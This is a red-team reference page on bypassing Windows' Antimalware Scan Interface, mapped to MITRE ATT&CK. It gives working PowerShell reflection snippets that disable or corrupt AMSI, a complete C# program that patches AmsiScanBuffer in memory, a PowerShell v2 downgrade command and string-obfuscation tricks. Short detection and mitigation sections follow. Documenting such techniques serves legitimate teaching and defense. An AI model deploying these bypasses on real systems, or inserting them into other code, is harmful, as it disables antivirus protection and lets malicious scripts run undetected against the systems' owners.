AMSI Bypass

Overview

The Antimalware Scan Interface (AMSI) is a Windows API that allows applications to send content to the installed antivirus engine for scanning before execution. PowerShell, VBScript, JScript, .NET (4.8+), and Office VBA macros all use AMSI to scan scripts and in-memory content. Bypassing AMSI is often the first step in a red team engagement on Windows — without it, most PowerShell tooling and .NET assemblies will be caught.

ATT&CK Mapping

  • Tactic: TA0005 - Defense Evasion
  • Technique: T1562.001 - Impair Defenses: Disable or Modify Tools

Techniques

How AMSI Works

1. User runs PowerShell script or .NET assembly
2. The host application (powershell.exe, cscript.exe, etc.) calls AmsiScanBuffer()
3. amsi.dll passes the content to the registered AV provider
4. AV returns AMSI_RESULT (clean, detected, blocked)
5. Host application decides whether to execute based on the result

Key functions in amsi.dll:
  AmsiInitialize()    — Initialize AMSI for the current process
  AmsiOpenSession()   — Open a scan session
  AmsiScanBuffer()    — Scan a buffer of content
  AmsiScanString()    — Scan a string
  AmsiCloseSession()  — Close the session

Reflection — amsiInitFailed Flag

Sets the internal amsiInitFailed flag in the PowerShell AMSI integration layer to true, which causes AmsiUtils to skip scanning. This does not patch any native code:

# PowerShell AMSI bypass — set amsiInitFailed to true via reflection
# This disables AMSI in the current PowerShell process only

$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$f = $a.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null,$true)

Reflection — amsiContext Corruption

Corrupts the amsiContext struct by overwriting its first 4 bytes with zero. When AmsiScanBuffer dereferences the corrupted context it fails with an error code, causing the host to treat scanning as unavailable and allow execution:

# PowerShell AMSI bypass — corrupt the amsiContext struct header
# String split avoids triggering AMSI string signatures on 'AmsiUtils'

$w = 'System.Management.Automation.A]msiUtils'.Replace(']','')
$c = [Ref].Assembly.GetType($w)
$f = $c.GetField('amsiContext','NonPublic,Static')
[IntPtr]$ptr = $f.GetValue($null)
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Memory Patching — C# Implementation

// C# AMSI bypass — patch AmsiScanBuffer in amsi.dll
// Run before loading any .NET tooling

using System;
using System.Runtime.InteropServices;

class AmsiBypass {
    [DllImport("kernel32.dll")]
    static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32.dll")]
    static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32.dll")]
    static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
        uint flNewProtect, out uint lpflOldProtect);

    static void Main() {
        IntPtr amsi = LoadLibrary("amsi.dll");
        IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");

        uint oldProtect;
        VirtualProtect(addr, (UIntPtr)6, 0x40, out oldProtect);

        // Patch: mov eax, 0x80070057 (E_INVALIDARG); ret
        // This makes AmsiScanBuffer return an error code
        // which the caller interprets as "scan not available" → allow execution
        byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
        Marshal.Copy(patch, 0, addr, patch.Length);

        VirtualProtect(addr, (UIntPtr)6, oldProtect, out oldProtect);
    }
}

PowerShell Downgrade

# PowerShell v2 does not support AMSI
# If .NET Framework 2.0 is still installed, PowerShell v2 can be used

# Check if PowerShell v2 is available
powershell -Version 2 -Command "Write-Host 'AMSI not loaded in v2'"

# Note: PowerShell v2 is removed by default on modern Windows
# but may still be present on older systems or if manually enabled

CLR Hooking (Hardware Breakpoints)

Advanced technique: Set a hardware breakpoint on AmsiScanBuffer

1. Use SetThreadContext to set a hardware breakpoint on AmsiScanBuffer
2. When the breakpoint fires, modify the return value via the exception handler
3. Resume execution — AMSI thinks the scan returned clean

Advantage: No memory patching (nothing for EDR's memory scanning to detect)
Disadvantage: More complex, per-thread, requires exception handling setup

Obfuscation to Bypass AMSI String Signatures

# AMSI scans the script text — obfuscation can bypass string-based signatures

# String concatenation
$a = 'Ams'; $b = 'iUt'; $c = 'ils'
$class = $a + $b + $c

# Base64 encoding
$encoded = [System.Convert]::FromBase64String('QW1zaVV0aWxz')
$class = [System.Text.Encoding]::UTF8.GetString($encoded)

# XOR encoding
# Encode strings at build time, decode at runtime

Detection Methods

Host-Based Detection

  • ETW events from the AMSI provider (Microsoft-Antimalware-Scan-Interface)
  • Memory integrity checks on amsi.dll (detect patched functions)
  • Monitoring for PowerShell v2 downgrade attempts
  • Process behavior: loading amsi.dll then immediately calling VirtualProtect on it

Logging

  • Windows Event Log: Microsoft-Windows-PowerShell/Operational (Event ID 4104 — Script Block Logging)
  • AMSI provider ETW events (if ETW is not also bypassed)

Mitigation Strategies

  • Remove PowerShell v2 — disable the Windows feature to prevent downgrade attacks
  • Enable Script Block Logging — log all PowerShell scripts regardless of AMSI
  • Constrained Language Mode — restrict PowerShell to safe cmdlets only
  • EDR memory protection — monitor for VirtualProtect calls on security DLLs

References

MITRE ATT&CK